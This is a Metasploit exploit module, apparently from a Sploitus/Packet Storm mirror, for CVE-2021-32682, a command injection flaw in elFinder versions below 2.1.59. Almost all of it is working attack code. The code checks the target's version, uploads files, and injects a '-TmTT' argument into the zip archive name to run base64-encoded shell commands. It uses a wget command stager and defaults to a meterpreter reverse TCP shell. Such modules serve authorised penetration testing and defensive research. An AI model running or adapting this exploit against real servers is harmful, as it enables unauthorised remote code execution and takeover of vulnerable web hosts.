Share
## https://sploitus.com/exploit?id=PACKETSTORM:164173
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'elFinder Archive Command Injection',  
'Description' => %q{  
elFinder versions below 2.1.59 are vulnerable to a command injection  
vulnerability via its archive functionality.  
  
When creating a new zip archive, the `name` parameter is sanitized  
with the `escapeshellarg()` php function and then passed to the  
`zip` utility. Despite the sanitization, supplying the `-TmTT`  
argument as part of the `name` parameter is still permitted and  
enables the execution of arbitrary commands as the `www-data` user.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Thomas Chauchefoin', # Discovery  
'Shelby Pace' # Metasploit module  
],  
'References' => [  
[ 'CVE', '2021-32682' ],  
[ 'URL', 'https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities' ]  
],  
'Platform' => [ 'linux' ],  
'Privileged' => false,  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Targets' => [  
[  
'Automatic Target',  
{  
'Platform' => 'linux',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'CmdStagerFlavor' => [ 'wget' ],  
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
]  
],  
'DisclosureDate' => '2021-06-13',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]  
}  
)  
)  
  
register_options([ OptString.new('TARGETURI', [ true, 'The URI of elFinder', '/' ]) ])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => upload_uri  
)  
  
return CheckCode::Unknown('Failed to retrieve a response') unless res  
return CheckCode::Safe('Failed to detect elFinder') unless res.body.include?('["errUnknownCmd"]')  
  
vprint_status('Attempting to check the changelog for elFinder version')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'Changelog')  
)  
  
unless res  
return CheckCode::Detected('elFinder is running, but cannot detect version through the changelog')  
end  
  
# * elFinder (2.1.58)  
vers_str = res.body.match(/\*\s+elFinder\s+\((\d+\.\d+\.\d+)\)/)  
if vers_str.nil? || vers_str.length <= 1  
return CheckCode::Detected('elFinder is running, but couldn\'t retrieve the version')  
end  
  
version_found = Rex::Version.new(vers_str[1])  
if version_found < Rex::Version.new('2.1.59')  
return CheckCode::Appears("elFinder running version #{vers_str[1]}")  
end  
  
CheckCode::Safe("Detected elFinder version #{vers_str[1]}, which is not vulnerable")  
end  
  
def upload_uri  
normalize_uri(target_uri.path, 'php', 'connector.minimal.php')  
end  
  
def upload_successful?(response)  
unless response  
print_bad('Did not receive a response from elFinder')  
return false  
end  
  
if response.code != 200 || response.body.include?('error')  
print_bad("Request failed: #{response.body}")  
return false  
end  
  
unless response.body.include?('added')  
print_bad("Failed to add new file: #{response.body}")  
return false  
end  
json = JSON.parse(response.body)  
if json['added'].empty?  
return false  
end  
  
true  
end  
  
alias archive_successful? upload_successful?  
  
def upload_txt_file(file_name)  
file_data = Rex::Text.rand_text_alpha(8..20)  
  
data = Rex::MIME::Message.new  
data.add_part('upload', nil, nil, 'form-data; name="cmd"')  
data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')  
data.add_part(file_data, 'text/plain', nil, "form-data; name=\"upload[]\"; filename=\"#{file_name}\"")  
  
print_status("Uploading file #{file_name} to elFinder")  
send_request_cgi(  
'method' => 'POST',  
'uri' => upload_uri,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s  
)  
end  
  
def create_archive(archive_name, *files_to_archive)  
files_to_archive = files_to_archive.map { |file_name| "l1_#{Rex::Text.encode_base64(file_name)}" }  
  
send_request_cgi(  
'method' => 'GET',  
'uri' => upload_uri,  
'encode_params' => false,  
'vars_get' =>  
{  
'cmd' => 'archive',  
'name' => archive_name,  
'target' => 'l1_Lw',  
'type' => 'application/zip',  
'targets[]' => files_to_archive.join('&targets[]=')  
}  
)  
end  
  
def setup_files_for_sploit  
@txt_file = "#{Rex::Text.rand_text_alpha(5..10)}.txt"  
res = upload_txt_file(@txt_file)  
fail_with(Failure::UnexpectedReply, 'Upload was not successful') unless upload_successful?(res)  
print_good('Text file was successfully uploaded!')  
  
@archive_name = "#{Rex::Text.rand_text_alpha(5..10)}.zip"  
print_status("Attempting to create archive #{@archive_name}")  
res = create_archive(@archive_name, @txt_file)  
fail_with(Failure::UnexpectedReply, 'Archive was not created') unless archive_successful?(res)  
print_good('Archive was successfully created!')  
  
register_files_for_cleanup(@txt_file, @archive_name)  
end  
  
# zip -r9 -q '-TmTT="$(id>out.txt)foooo".zip' './a.zip' './a.txt' - sonarsource blog post  
def execute_command(cmd, _opts = {})  
cmd = "echo #{Rex::Text.encode_base64(cmd)} | base64 -d |sh"  
cmd_arg = "-TmTT=\"$(#{cmd})#{Rex::Text.rand_text_alpha(1..3)}\""  
cmd_arg = cmd_arg.gsub(' ', '${IFS}')  
  
create_archive(cmd_arg, @archive_name, @txt_file)  
end  
  
def exploit  
setup_files_for_sploit  
execute_cmdstager(noconcat: true, linemax: 150)  
end  
end